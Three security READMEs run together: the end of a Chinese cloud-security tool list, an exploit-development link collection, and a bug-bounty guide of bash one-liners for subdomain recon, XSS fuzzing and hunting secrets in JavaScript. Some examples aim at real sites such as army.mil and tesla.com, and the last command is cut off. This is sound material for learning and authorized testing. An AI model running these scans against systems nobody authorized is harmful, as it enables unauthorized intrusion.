容器渗透测试工具 BOtB [地址](https://github.com/brompwnie/botb) ![GitHub stars](https://img.shields.io/github/stars/brompwnie/botb) `由「Idle Life」师傅补充,感谢支持` * 容器利用工具 CCAT [地址](https://github.com/RhinoSecurityLabs/ccat) ![GitHub stars](https://img.shields.io/github/stars/RhinoSecurityLabs/ccat) `由「zhengjim」师傅补充,感谢支持` ## 0x03 靶场 :dart: * 在线收费的包含云安全实验的靶场 Attack Defense [地址](https://attackdefense.pentesteracademy.com/listing?labtype=cloud-services&subtype=cloud-services-amazon-s3) * 在线免费的 AWS 渗透测试靶场 Free AWS Security Labs [地址](https://pentesting.cloud/) `由「cr」师傅补充,感谢支持` * k8s 靶场部署工具 Kubernetes Goat [地址](https://github.com/madhuakula/kubernetes-goat) ![GitHub stars](https://img.shields.io/github/stars/madhuakula/kubernetes-goat) `由「UzJu」师傅补充,感谢支持` * AWS 靶场部署工具 cloudgoat [地址](https://github.com/RhinoSecurityLabs/cloudgoat) ![GitHub stars](https://img.shields.io/github/stars/RhinoSecurityLabs/cloudgoat) * CI/CD 靶场部署工具 [地址](https://github.com/cider-security-research/cicd-goat) ![GitHub stars](https://img.shields.io/github/stars/cider-security-research/cicd-goat) `由「Kfzz1」师傅补充,感谢支持` * AWS 靶场 AWSGoat [地址](https://github.com/ine-labs/AWSGoat) ![GitHub stars](https://img.shields.io/github/stars/ine-labs/AWSGoat) * 云原生靶场部署工具 metarget [地址](https://github.com/Metarget/metarget) ![GitHub stars](https://img.shields.io/github/stars/Metarget/metarget) * Azure 靶场 AzureGoat [地址](https://github.com/ine-labs/AzureGoat) ![GitHub stars](https://img.shields.io/github/stars/ine-labs/AzureGoat) `由「Kfzz1」师傅补充,感谢支持` * 多云靶场搭建工具 TerraformGoat [地址](https://github.com/HuoCorp/TerraformGoat) ![GitHub stars](https://img.shields.io/github/stars/HuoCorp/TerraformGoat) * GCP 靶场部署工具 GCPGoat [地址](https://github.com/ine-labs/GCPGoat) ![GitHub stars](https://img.shields.io/github/stars/ine-labs/GCPGoat) `由「Kfzz1」师傅补充,感谢支持` ## 贡献者 :confetti_ball: 感谢你们的支持 ~ <table> <tr> <td align="center"><img alt="TeamsSix" src="/img/1651741861.png" style="width: 100px;"/><br />TeamsSix</td> <td align="center"><img alt="1derian" src="/img/1650108029.png" style="width: 100px;" /><br />1derian</td> <td align="center"><img alt="ShangRui-hash" src="/img/1650108092.png" style="width: 100px;" /><br />ShangRui-hash</td> <td align="center"><img alt="半人间丶" src="/img/1650108207.png" style="width: 100px;" /><br />半人间丶</td> <td align="center"><img alt="UzJu" src="/img/1650253985.png" style="width: 100px;" /><br />UzJu</a></td> <td align="center"><img alt="Idle Life" src="/img/1650865577.png" style="width: 100px;" /><br />Idle Life</td> </tr> <tr> <td align="center"><img alt="zhengjim" src="/img/1650942808.png" style="width: 100px;" /><br />zhengjim</a></td> <td align="center"><img alt="zxynull" src="/img/1651146804.png" style="width: 100px;" /><br />zxynull</a></td> <td align="center"><img alt="m4d3bug" src="/img/1651740464.png" style="width: 100px;" /><br />m4d3bug</a></td> <td align="center"><img alt="da Vinci【达文西】" src="/img/1651917214.png" style="width: 100px;" /><br />da Vinci【达文西】</a></td> <td align="center"><img alt="tanger" src="/img/1653815174.png" style="width: 100px;" /><br />tanger</a></td> <td align="center"><img alt="想走安全的小白" src="/img/1654852861.png" style="width: 100px;" /><br />想走安全的小白</a></td> </tr> <tr> <td align="center"><img alt="Esonhugh" src="/img/1654854214.png" style="width: 100px;" /><br />Esonhugh</a></td> <td align="center"><img alt="Kfzz1" src="/img/1667370152.png" style="width: 100px;" /><br />Kfzz1</a></td> <td align="center"><img alt="cr" src="/img/1684313513.png" style="width: 100px;" /><br />cr</a></td> <td align="center"><img alt="Ma1tobiose" src="/img/1688880306.png" style="width: 100px;" /><br />Ma1tobiose</a></td> <td align="center"><img alt="DVKunion" src="/img/1689259230.png" style="width: 100px;" /><br />DVKunion</a></td> </tr> </table> ### 想要一起补充?直接给本项目提 PR 或者使用右侧链接中的方法:[补充说明地址](/About/Contribute.html) <p>&nbsp; </p> [![Star History Chart](https://api.star-history.com/svg?repos=teamssix/awesome-cloud-security&type=Timeline)](https://wiki.teamssix.com/) <div align=center><img width="700" src="/img/wechat.png"></div><br> <Vssue />
# Awesome Exploit Development ## Buffer Overflow Concept ### https://www.imperva.com/learn/application-security/buffer-overflow/ ### https://economictimes.indiatimes.com/definition/buffer-overflow ### https://owasp.org/www-community/vulnerabilities/Buffer_Overflow ### https://www.veracode.com/security/buffer-overflow ### https://searchsecurity.techtarget.com/definition/buffer-overflow ### https://avinetworks.com/glossary/buffer-overflow/ ### https://www.cloudflare.com/pt-br/learning/security/threats/buffer-overflow/ ### https://journals.indexcopernicus.com/api/file/viewByFileId/134652.pdf ### https://www.sans.org/reading-room/whitepapers/threats/paper/481 ### https://www.ajrsp.com/en/Archive/issue-19/The%20Buffer%20Overflow%20Attack.pdf ### https://web.ecs.syr.edu/~wedu/Teaching/CompSec/LectureNotes_New/Buffer_Overflow.pdf ### https://engineering.purdue.edu/kak/compsec/NewLectures/Lecture21.pdf ### http://technologeeks.com/Courses/BO.pdf ### https://www.cs.utexas.edu/~shmat/courses/cs380s_fall09/cowan.pdf ### http://www.dcc.fc.up.pt/~edrdo/QSES1819/lectures/qses-08-buffer-overflows_part2.pdf ### https://www.youtube.com/watch?v=zeX2ZLzgPOA ### https://www.youtube.com/watch?v=HrFZ6ry6roQ ### https://www.youtube.com/watch?v=59_gjX2HxyA ### https://www.youtube.com/watch?v=VX27nq6EcjI&t=2s ### https://www.youtube.com/watch?v=1S0aBV-Waeo ### https://www.youtube.com/watch?v=1X2JGF_9JGM ### https://www.youtube.com/watch?v=2ZZPwwXOH08 ### https://www.youtube.com/watch?v=GAcmECMYAkY ## Labs Reverse Engineering and Exploit Development ### https://github.com/renyxa/re-lab ### https://github.com/OpenToAllCTF/REsources ### https://github.com/jsoverson/workshop-reverse-engineering ### https://github.com/rustymagnet3000/Reverse-Engineering-C-challenges ### https://github.com/AravGarg/Bomb-Lab ### https://github.com/momalab/ICSREF ### https://infosecwriteups.com/linux-reverse-engineering-ctfs-for-beginners-4cf03ff2cfb4 ### https://ctf101.org/reverse-engineering/overview/ ### https://www.hackthebox.eu/ ### vulnhub.com ### https://github.com/VictorAlonsoCM/CTFs ### https://github.com/apsdehal/awesome-ctf ### https://github.com/j00ru/ctf-tasks ### https://github.com/JustBeYou/ctfs ### https://github.com/teambi0s/secREtary ### https://www.youtube.com/watch?v=Hvfwtffpnho ### https://www.youtube.com/watch?v=ou_4msS5ZW8 ### https://github.com/firmianay/Life-long-Learner/blob/master/SEED-labs/buffer-overflow-vulnerability-lab.md ### https://github.com/Jeffery-Liu/Buffer-Overflow-Vulnerability-Lab ### https://github.com/wadejason/Buffer-Overflow-Vulnerability-Lab ### https://github.com/wadejason/Buffer-Overflow-Vulnerability-Lab/blob/master/stack.c ### https://github.com/cranelab/exploit-development ### https://github.com/0xdutra/exploitation-labs ### https://github.com/globocom/secDevLabs ### https://github.com/wtsxDev/Exploit-Development/blob/master/README.md ### https://github.com/topics/exploit-development ### https://github.com/VoidSec/Exploit-Development ### https://github.com/midnightslacker/exploit_training ## Buffer Overflow OSCP ### https://www.youtube.com/watch?v=4rUN1F6_Mhk ### https://www.youtube.com/watch?v=_EYoYiSInSA ### https://assume-breach.medium.com/oscp-prep-buffer-overflows-made-super-easy-with-the-brainpan-1-vm-e5ccaf7d3f0c ### https://github.com/V1n1v131r4/OSCP-Buffer-Overflow ### https://www.udemy.com/course/practical-buffer-overflows-for-oscp/ ### https://thelistsec.com/2020/06/23/oscp-like-buffer-overflow-walkthrough/ ### https://steflan-security.com/complete-guide-to-stack-buffer-overflow-oscp/ ### https://www.trenchesofit.com/2020/09/12/oscp-buffer-overflow-write-up/ ### https://www.youtube.com/watch?v=RmpNQQwhDms ### https://www.youtube.com/watch?v=8So2XCateS8 ### https://www.tripwire.com/state-of-security/security-data-protection/passing-offensive-security-certified-professional-exam-oscp/ ### https://github.com/3isenHeiM/OSCP-BoF ### https://github.com/xMilkPowderx/OSCP/blob/master/Buffer%20Overflow.md ### https://github.com/fredisanmar/OSCP-Buffer-Overflow ## My LinkedIn and E-books ### https://www.linkedin.com/in/joas-antonio-dos-santos ### https://drive.google.com/drive/u/0/folders/12Mvq6kE2HJDwN2CZhEGWizyWt87YunkU ## Awesome Exploit Development ### https://github.com/FabioBaroni/awesome-exploit-development ### https://github.com/secfigo/Awesome-Fuzzing ### https://github.com/gold1029/awesome-exploit-development ### https://github.com/dineshkumarc987/awesome_exploit_development ### https://github.com/roninAPT/awesome-exploit-development ### https://awesomeopensource.com/projects/exploit-development ### https://0x00sec.org/t/material-for-learning-exploit-development/1727 ### https://sec4us.com.br/cheatsheet/ ## Exploit Development and Buffer Overflow ### https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/ ### https://www.corelan.be/index.php/articles/ ### https://ccsecuritytraining.com/training/exploit-development-bootcamp/ ### https://medium.com/stolabs/tagged/exploit-development ### https://iratoon.medium.com/exploit-development-windows-part-3-4c420652c840 ### https://infosecwriteups.com/tagged/exploit-development ### https://www.coalfire.com/the-coalfire-blog/january-2020/the-basics-of-exploit-development-1 ### https://www.crowdstrike.com/blog/state-of-exploit-development-part-1/ ### https://tcm-sec.com/category/exploit-development/ ### https://www.helviojunior.com.br/ ### https://betterprogramming.pub/an-introduction-to-buffer-overflow-vulnerability-760f23c21ebb ### https://blog.devgenius.io/buffer-overflow-tutorial-part3-98ab394073e3 ### https://blog.offensive-shield.com/lets-talk-about-buffer-overflow-54764101030b ### https://academy.hackthebox.eu/course/preview/stack-based-buffer-overflows-on-linux-x86 ### https://i.blackhat.com/us-18/Thu-August-9/us-18-Rikansrud-Mainframe-[zOS]-Reverse-Engineering-and-Exploit-Development.pdf ### https://i.blackhat.com/USA-19/Thursday/us-19-Hawkes-Project-Zero-Five-Years-Of-Make-0day-Hard.pdf ### https://www.blackhat.com/docs/us-17/thursday/us-17-Ablon-Bug-Collisions-Meet-Government-Vulnerability-Disclosure-Zero-Days-Thousands-Of-Nights-RAND.pdf ### https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-sutton.pdf ### https://www.blackhat.com/docs/us-16/materials/us-16-Oh-The-Art-of-Reverse-Engineering-Flash-Exploits.pdf ### https://blackhat.com/us-14/video/hands-on-exploit-development.html ### https://www.youtube.com/watch?v=opBLBYAR8tU ## System Architecture ### http://web.mit.edu/6.976/www/notes/Notes1.pdf ### https://www.incose.org/docs/default-source/wasatch-chapter-documents/the-big-happy-family-of-architectures-r0.pdf?sfvrsn=613696c6_2 ### https://www.gaudisite.nl/SystemArchitectureProcessPaper.pdf ### https://mitocw.ups.edu.ec/courses/aeronautics-and-astronautics/16-842-fundamentals-of-systems-engineering-fall-2015/lecture-notes/MTI16_842F15_Ses4_Con_Syn.pdf ### https://www.regjeringen.no/contentassets/0de9ab36c5244c3ba9cbafa74c1876a2/securityarchitecture-ecountingofpvotesv1_1.pdf ### https://www.kean.edu/~gchang/tech2920/http___professor.wiley.com_CGI-BIN_JSMPROXY_DOCUMENTDIRECTORDEV+DOCUMENTID&0471715425+DOCUMENTSUBID&1+PRFVALNAME&pdfs_ch02.pdf ### https://incoseuk.org/Documents/zGuides/Z8_System_Architecture.pdf ### https://hal.archives-ouvertes.fr/hal-01407372/document ### https://en.wikipedia.org/wiki/Systems_architecture#:~:text=A%20system%20architecture%20is%20the,and%20behaviors%20of%20the%20system. ### https://thenewstack.io/primer-understanding-software-and-system-architecture/ ### https://www.sebokwiki.org/wiki/System_Architecture ## Windows Memory Management ### https://www.cs.sjtu.edu.cn/~kzhu/cs490/9/9_MemMan.pdf ### http://mit.bme.hu/~micskeiz/opre/files/eng/03-operating-systems-windows-memory-management.pdf ### https://madoc.bib.uni-mannheim.de/3148/1/InternalsOfWindowsMemoryMangement2.pdf ### https://www.intellectualheaven.com/Articles/WinMM.pdf ### http://efreidoc.fr/L3/Operating%20System/Cours/PDF/2010-11/2010-11.cours.13.memory-management-in-windows-and-linux.op.pdf ### https://www.dc.fi.udc.es/~so-grado/2020-21/Temas/SO-Memoria.pdf ### https://warwick.ac.uk/fac/sci/physics/research/condensedmatt/imr_cdt/students/david_goodwin/teaching/operating_systems/l12_realos.pdf ### http://www.tfzr.uns.ac.rs/Content/files/0/Lab08.pdf ### https://www2.latech.edu/~box/os/ch08.pdf ### https://dcc.ufrj.br/~valeriab/SO-VirtualMemory.pdf ### http://www.cs.umsl.edu/~sanjiv/classes/cs4760/lectures/memory.pdf ### http://www.ifsc.usp.br/~lattice/oldlattice/mod9.1.pdf ## Assembly ### https://www.ic.unicamp.br/~pannain/mc404/aulas/pdfs/Art%20Of%20Intel%20x86%20Assembly.pdf ### https://www.ic.unicamp.br/~ducatte/mc404/2009/docs/beginner_avr.pdf ### https://www.tutorialspoint.com/assembly_programming/assembly_tutorial.pdf ### http://www.ece.utep.edu/courses/web3376/Notes_files/ee3376-assembly.pdf ### http://www.egr.unlv.edu/~ed/assembly64.pdf ### https://docs.oracle.com/cd/E19457-01/801-7045/801-7045.pdf ### http://www.staroceans.org/kernel-and-driver/The.Art.of.Assembly.Language.2nd.Edition.pdf ### http://index-of.co.uk/Assembly/Assembly_Language_Step_by_Step_en.pdf ### https://www.cs.princeton.edu/courses/archive/spr18/cos217/lectures/13_Assembly1.pdf ### http://arantxa.ii.uam.es/~gdrivera/sed/docs/ARMBook.pdf ### https://en.wikipedia.org/wiki/X86_assembly_language ## Sysinternals ### http://index-of.co.uk/Malware/WINDOWS%20SYSINTERNALS%20ADMINISTRATOR'S%20REFERENCE.pdf ### https://ptgmedia.pearsoncmg.com/images/9780735684447/samplepages/9780735684447.pdf ### https://neprisstore.blob.core.windows.net/sessiondocs/doc_c67d889c-039a-4977-8266-3e025c1408e3.pdf ### https://docs.microsoft.com/en-us/sysinternals/downloads/ ### https://www.ebooks.com/en-us/book/95824138/troubleshooting-with-the-windows-sysinternals-tools/mark-e-russinovich/ ### https://repo.zenk-security.com/Linux%20et%20systemes%20d.exploitations/Windows%20Internals%20Part%201_6th%20Edition.pdf ### http://index-of.es/Linux/Other/Windows%20Internals%20Part%202_6th%20Edition.pdf ## Application x64 work in 32 Bits ### https://www.howtogeek.com/194119/why-are-most-programs-still-32-bit-on-a-64-bit-version-of-windows/#:~:text=The%2032%2Dbit%20program%20can,don't%20worry%20about%20it. ### https://www.youtube.com/watch?v=LCGhg-RfDDE ### https://www.youtube.com/watch?v=Kyoyorh-YGQ ### https://docs.microsoft.com/en-us/windows/win32/winprog64/running-32-bit-applications ### https://medium.com/codixlab/what-happens-when-a-32-bit-program-runs-on-a-64-bit-machine-c231ac3ddb2f ### https://appuals.com/how-to-install-32-bit-software-on-64-bit-windows/ ### https://www.alphr.com/make-32-bit-apps-work-64-bit-windows/ ## The exploit development lab environment ### https://www.youtube.com/watch?v=7PMw9GIb8Zs ### https://www.anitian.com/a-study-in-exploit-development-part-1-setup-and-proof-of-concept/ ### http://zeroknights.com/getting-started-exploit-lab/ ### https://blog.exploitlab.net/ ### https://www.shogunlab.com/blog/2017/08/11/zdzg-windows-exploit-0.html ### https://github.com/CyberSecurityUP/Buffer-Overflow-Labs ### https://iratoon.medium.com/exploit-development-windows-part-2-4b0d17fe8d40 ### https://theguly.github.io/2020/02/eLearnSecurity-eXploit-Development-Student/ ### https://epi052.gitlab.io/notes-to-self/blog/2020-05-13-osce-exam-practice-part-one/ ## Awesome Buffer Overflow ### https://github.com/gh0x0st/Buffer_Overflow ### https://github.com/johnjhacking/Buffer-Overflow-Guide ### https://github.com/joshua17sc/Buffer-Overflows ### https://github.com/justinsteven/dostackbufferoverflowgood ### https://github.com/V1n1v131r4/OSCP-Buffer-Overflow ### https://github.com/the-c0d3r/buffer-overflow ### https://gist.github.com/apolloclark/6cffb33f179cc9162d0a ### https://github.com/sradley/overflow ### https://github.com/hyperreality/OSCP-Buffer-Overflow-in-30-minutes ### https://github.com/art049/simple-buffer-overflow-server ### https://github.com/npapernot/buffer-overflow-attack ### https://github.com/EmreOvunc/Buffer-Overflow-PoC ### https://github.com/freddiebarrsmith/Buffer-Overflow-Exploit-Development-Practice ### https://github.com/kevinkong91/buffer-overflow-exploit ### https://github.com/helviojunior/live_bufferoverflow ### https://github.com/Andy53/BufferOverflowExample ### https://github.com/hackutk/overflow-example ## Shellcode Development ### https://hackerculture.com.br/?p=1059 ### https://www.helviojunior.com.br/it/security/criacao-de-exploits/como-realizar-stack-buffer-overflow/ ### https://www.youtube.com/watch?v=rvZsvSH2pXo ### https://www.youtube.com/watch?v=qSjxR8tfokg ### https://www.youtube.com/watch?v=Xvh8FkczNUc ### https://github.com/anjelikasah/Shellcode-Development-Lab ### https://github.com/topics/shellcode-development ### https://github.com/topics/shellcode-development?l=c ### https://github.com/topics/shellcode-development?l=python ### https://github.com/wetw0rk/Sickle ### https://medium.com/mii-cybersec/tagged/shellcode ### http://www.alanwar10.com/tag/shellcode/archive?source=topics_v2------------------------------------- ### https://posts.specterops.io/going-4-a-run-eb263838b944 ### https://www.tenouk.com/Bufferoverflowc/Bufferoverflow5.html ### https://seedsecuritylabs.org/Labs_20.04/Files/Shellcode/Shellcode.pdf ### https://h0mbre.github.io/Win32_Reverse_Shellcode/ ### https://blog.usejournal.com/red-team-diary-entry-3-custom-malware-development-establish-a-shell-through-the-browser-bed97c6398a5 ### https://towardsdatascience.com/20-best-vs-code-extensions-for-productive-web-development-in-2020-95bf904ceb69 ### https://www.exploit-db.com/docs/english/13610-building-your-own-ud-shellcodes-part-1.pdf ### https://www.coresecurity.com/sites/default/files/private-files/publications/2016/05/TheShellcodeGeneration.pdf ### https://www.blackhat.com/presentations/bh-europe-09/Caillat/BlackHat-Europe-09-Caillat-Wishmaster-slides.pdf ### https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3153488 ### https://www.iaik.tugraz.at/wp-content/uploads/2020/07/04-exploits.pdf ### https://www.blackhat.com/presentations/bh-federal-03/bh-fed-03-aitel.pdf ### https://www.blackhat.com/presentations/bh-europe-09/Caillat/BlackHat-Europe-09-Caillat-Wishmaster-whitepaper.pdf ### https://www.blackhat.com/presentations/bh-asia-03/bh-asia-03-chong.pdf ### https://www.blackhat.com/presentations/win-usa-04/bh-win-04-aitel.pdf ## Reverse Engineering ### https://github.com/tylerha97/awesome-reversing ### https://www.mentebinaria.com.br/forums/topic/212-awesome-lists/ ### https://awesomeopensource.com/projects/reverse-engineering ### https://gitmemory.com/alphaSeclab/awesome-reverse-engineering ### https://repo.telematika.org/project/tylerha97_awesome-reversing/ ### https://repo.telematika.org/project/tylerha97_awesome-reversing/ ### https://github.com/mytechnotalent/Reverse-Engineering ### https://github.com/wtsxDev/reverse-engineering ### https://github.com/mentebinaria/retoolkit ### https://github.com/0xZ0F/Z0FCourse_ReverseEngineering ### https://github.com/hax0rtahm1d/Reverse-Engineering *XMind - Evaluation Version*
<h1 align="center"> 👑 What is KingOfBugBounty Project </h1> Our main goal is to share tips from some well-known bughunters. Using recon methodology, we are able to find subdomains, apis, and tokens that are already exploitable, so we can report them. We wish to influence Onelinetips and explain the commands, for the better understanding of new hunters.. 👑 ## Stats King ![OFJAAAH](https://github-readme-stats.vercel.app/api?username=KingOfBugbounty&show_icons=true&theme=dracula) [![DigitalOcean Referral Badge](https://web-platforms.sfo2.cdn.digitaloceanspaces.com/WWW/Badge%201.svg)](https://www.digitalocean.com/?refcode=703ff752fd6f&utm_campaign=Referral_Invite&utm_medium=Referral_Program&utm_source=badge) ## Join Us [![Telegram](https://patrolavia.github.io/telegram-badge/chat.png)](https://t.me/joinchat/DN_iQksIuhyPKJL1gw0ttA) [![The King](https://aleen42.github.io/badges/src/twitter.svg)](https://twitter.com/ofjaaah) ## Event Bug Bounty Brasil - [Link Event](https://canaltech.com.br/hacker/evento-nacional-oferece-recompensas-para-hackers-cacadores-de-falhas-em-sistemas-190613/) ## BugBuntu Download - [BugBuntu](https://sourceforge.net/projects/bugbuntu/) - [@bt0s3c](https://twitter.com/bt0s3c) - [@MrCl0wnLab](https://twitter.com/MrCl0wnLab) ## Special thanks - [@bt0s3c](https://twitter.com/bt0s3c) - [@MrCl0wnLab](https://twitter.com/MrCl0wnLab) - [@Stokfredrik](https://twitter.com/stokfredrik) - [@Jhaddix](https://twitter.com/Jhaddix) - [@pdiscoveryio](https://twitter.com/pdiscoveryio) - [@TomNomNom](https://twitter.com/TomNomNom) - [@jeff_foley](https://twitter.com/@jeff_foley) - [@NahamSec](https://twitter.com/NahamSec) - [@j3ssiejjj](https://twitter.com/j3ssiejjj) - [@zseano](https://twitter.com/zseano) - [@pry0cc](https://twitter.com/pry0cc) ## Scripts that need to be installed To run the project, you will need to install the following programs: - [Amass](https://github.com/OWASP/Amass) - [Anew](https://github.com/tomnomnom/anew) - [Anti-burl](https://github.com/tomnomnom/hacks/tree/master/anti-burl) - [Assetfinder](https://github.com/tomnomnom/assetfinder) - [Axiom](https://github.com/pry0cc/axiom) - [CF-check](https://github.com/dwisiswant0/cf-check) - [Chaos](https://github.com/projectdiscovery/chaos-client) - [Dalfox](https://github.com/hahwul/dalfox) - [DNSgen](https://github.com/ProjectAnte/dnsgen) - [Filter-resolved](https://github.com/tomnomnom/hacks/tree/master/filter-resolved) - [Findomain](https://github.com/Edu4rdSHL/findomain) - [Fuff](https://github.com/ffuf/ffuf) - [Gargs](https://github.com/brentp/gargs) - [Gau](https://github.com/lc/gau) - [Gf](https://github.com/tomnomnom/gf) - [Github-Search](https://github.com/gwen001/github-search) - [Gospider](https://github.com/jaeles-project/gospider) - [Gowitness](https://github.com/sensepost/gowitness) - [Hakrawler](https://github.com/hakluke/hakrawler) - [HakrevDNS](https://github.com/hakluke/hakrevdns) - [Haktldextract](https://github.com/hakluke/haktldextract) - [Html-tool](https://github.com/tomnomnom/hacks/tree/master/html-tool) - [Httpx](https://github.com/projectdiscovery/httpx) - [Jaeles](https://github.com/jaeles-project/jaeles) - [Jsubfinder](https://github.com/hiddengearz/jsubfinder) - [Kxss](https://github.com/Emoe/kxss) - [LinkFinder](https://github.com/GerbenJavado/LinkFinder) - [Metabigor](https://github.com/j3ssie/metabigor) - [MassDNS](https://github.com/blechschmidt/massdns) - [Naabu](https://github.com/projectdiscovery/naabu) - [Qsreplace](https://github.com/tomnomnom/qsreplace) - [Rush](https://github.com/shenwei356/rush) - [SecretFinder](https://github.com/m4ll0k/SecretFinder) - [Shodan](https://help.shodan.io/command-line-interface/0-installation) - [ShuffleDNS](https://github.com/projectdiscovery/shuffledns) - [SQLMap](https://github.com/sqlmapproject/sqlmap) - [Subfinder](https://github.com/projectdiscovery/subfinder) - [SubJS](https://github.com/lc/subjs) - [Unew](https://github.com/dwisiswant0/unew) - [WaybackURLs](https://github.com/tomnomnom/waybackurls) - [Wingman](https://xsswingman.com/#faq) - [Notify](https://github.com/projectdiscovery/notify) - [Goop](https://github.com/deletescape/goop) - [Tojson](https://github.com/tomnomnom/hacks/tree/master/tojson) - [GetJS](https://github.com/003random/getJS) - [X8](https://github.com/Sh1Yo/x8) - [Unfurl](https://github.com/tomnomnom/unfurl) - [XSStrike](https://github.com/s0md3v/XSStrike) - [Page-fetch](https://github.com/detectify/page-fetch) ### .bashrc shortcut. ```bash reconjs(){ gau -subs $1 |grep -iE '\.js'|grep -iEv '(\.jsp|\.json)' >> js.txt ; cat js.txt | anti-burl | awk '{print $4}' | sort -u >> AliveJs.txt } cert(){ curl -s "[https://crt.sh/?q=%.$1&output=json](https://crt.sh/?q=%25.$1&output=json)" | jq -r '.[].name_value' | sed 's/\*\.//g' | anew } anubis(){ curl -s "[https://jldc.me/anubis/subdomains/$1](https://jldc.me/anubis/subdomains/$1)" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | anew } ``` ### Running JavaScript on each page send to proxy. - [Explained command](https://bit.ly/3daIyFw) ```bash cat 200http | page-fetch --javascript '[...document.querySelectorAll("a")].map(n => n.href)' --proxy http://192.168.15.47:8080 ``` ### Dalfox scan to bugbounty targets. - [Explained command](https://bit.ly/3nnEhCj) ```bash xargs -a xss-urls.txt -I@ bash -c 'python3 /dir-to-xsstrike/xsstrike.py -u @ --fuzzer' ``` ### Dalfox scan to bugbounty targets. - [Explained command](https://bit.ly/324Sr1x) ```bash wget https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/master/data/domains.txt -nv ; cat domains.txt | anew | httpx -silent -threads 500 | xargs -I@ dalfox url @ ``` ### Using x8 to Hidden parameters discovery - [Explaining command](https://bit.ly/3w48wl8) ```bash assetfinder domain | httpx -silent | sed -s 's/$/\//' | xargs -I@ sh -c 'x8 -u @ -w params.txt -o enumerate' ``` ### Extract .js Subdomains - [Explaining command](https://bit.ly/339CN5p) ```bash echo "domain" | haktrails subdomains | httpx -silent | getJS --complete | anew JS echo "domain" | haktrails subdomains | httpx -silent | getJS --complete | tojson | anew JS1 ``` ### goop to search .git files. - [Explaining command](https://bit.ly/3d0VcY5) ```bash xargs -a xss -P10 -I@ sh -c 'goop @' ``` ### Using chaos list to enumerate endpoint ```bash curl -s https://raw.githubusercontent.com/projectdiscovery/public-bugbounty-programs/master/chaos-bugbounty-list.json | jq -r '.programs[].domains[]' | xargs -I@ sh -c 'python3 paramspider.py -d @' ``` ### Using Wingman to search XSS reflect / DOM XSS - [Explaining command](https://bit.ly/3m5ft1g) ```bash xargs -a domain -I@ sh -c 'wingman -u @ --crawl | notify' ``` ### Search ASN to metabigor and resolvers domain - [Explaining command](https://bit.ly/3bvghsY) ```bash echo 'dod' | metabigor net --org -v | awk '{print $3}' | sed 's/[[0-9]]\+\.//g' | xargs -I@ sh -c 'prips @ | hakrevdns | anew' ``` ### OneLiners ### Search .json gospider filter anti-burl - [Explaining command](https://bit.ly/3eoUhSb) ```bash gospider -s https://twitch.tv --js | grep -E "\.js(?:onp?)?$" | awk '{print $4}' | tr -d "[]" | anew | anti-burl ``` ### Search .json subdomain - [Explaining command](https://bit.ly/3kZydis) ```bash assetfinder http://tesla.com | waybackurls | grep -E "\.json(?:onp?)?$" | anew ``` ### SonarDNS extract subdomains - [Explaining command](https://bit.ly/2NvXRyv) ```bash wget https://opendata.rapid7.com/sonar.fdns_v2/2021-02-26-1614298023-fdns_a.json.gz ; gunzip 2021-02-26-1614298023-fdns_a.json.gz ; cat 2021-02-26-1614298023-fdns_a.json | grep ".DOMAIN.com" | jq .name | tr '" " "' " / " | tee -a sonar ``` ### Kxss to search param XSS - [Explaining command](https://bit.ly/3aaEDHL) ```bash echo http://testphp.vulnweb.com/ | waybackurls | kxss ``` ### Recon subdomains and gau to search vuls DalFox - [Explaining command](https://bit.ly/3aMXQOF) ```bash assetfinder testphp.vulnweb.com | gau | dalfox pipe ``` ### Recon subdomains and Screenshot to URL using gowitness - [Explaining command](https://bit.ly/3aKSSCb) ```bash assetfinder -subs-only army.mil | httpx -silent -timeout 50 | xargs -I@ sh -c 'gowitness single @' ``` ### Extract urls to source code comments - [Explaining command](https://bit.ly/2MKkOxm) ```bash cat urls1 | html-tool comments | grep -oE '\b(https?|http)://[-A-Za-z0-9+&@#/%?=~_|!:,.;]*[-A-Za-z0-9+&@#/%=~_|]' ``` ### Axiom recon "complete" - [Explaining command](https://bit.ly/2NIavul) ```bash findomain -t domain -q -u url ; axiom-scan url -m subfinder -o subs --threads 3 ; axiom-scan subs -m httpx -o http ; axiom-scan http -m ffuf --threads 15 -o ffuf-output ; cat ffuf-output | tr "," " " | awk '{print $2}' | fff | grep 200 | sort -u ``` ### Domain subdomain extraction - [Explaining command](https://bit.ly/3c2t6eG) ```bash cat url | haktldextract -s -t 16 | tee subs.txt ; xargs -a subs.txt -I@ sh -c 'assetfinder -subs-only @ | anew | httpx -silent -threads 100 | anew httpDomain' ``` ### Search .js using - [Explaining command](https://bit.ly/362LyQF) ```bash assetfinder -subs-only DOMAIN -silent | httpx -timeout 3 -threads 300 --follow-redirects -silent | xargs -I% -P10 sh -c 'hakrawler -plain -linkfinder -depth 5 -url %' | awk '{print $3}' | grep -E "\.js(?:onp?)?$" | anew ``` ### This one was huge ... But it collects .js gau + wayback + gospider and makes an analysis of the js. tools you need below. - [Explaining command](https://bit.ly/3sD0pLv) ```bash cat dominios | gau |grep -iE '\.js'|grep -iEv '(\.jsp|\.json)' >> gauJS.txt ; cat dominios | waybackurls | grep -iE '\.js'|grep -iEv '(\.jsp|\.json)' >> waybJS.txt ; gospider -a -S dominios -d 2 | grep -Eo "(http|https)://[^/\"].*\.js+" | sed "s#\] \- #\n#g" >> gospiderJS.txt ; cat gauJS.txt waybJS.txt gospiderJS.txt | sort -u >> saidaJS ; rm -rf *.txt ; cat saidaJS | anti-burl |awk '{print $4}' | sort -u >> AliveJs.txt ; xargs -a AliveJs.txt -n 2 -I@ bash -c "echo -e '\n[URL]: @\n'; python3 linkfinder.py -i @ -o cli" ; cat AliveJs.txt | python3 collector.py output ; rush -i output/urls.txt 'python3 SecretFinder.py -i {} -o cli | sort -u >> output/resultJSPASS' ``` ### My recon automation simple. OFJAAAH.sh - [Explaining command](https://bit.ly/3nWHM22) ```bash chaos -d $1 -o chaos1 -silent ; assetfinder -subs-only $1 >> assetfinder1 ; subfinder -d $1 -o subfinder1 -silent ; cat assetfinder1 subfinder1 chaos1 >> hosts ; cat hosts | anew clearDOMAIN ; httpx -l hosts -silent -threads 100 | anew http200 ; rm -rf chaos1 assetfinder1 subfinder1 ``` ### Download all domains to bounty chaos - [Explaining command](https://bit.ly/38wPQ4o) ```bash curl https://chaos-data.projectdiscovery.io/index.json | jq -M '.[] | .URL | @sh' | xargs -I@ 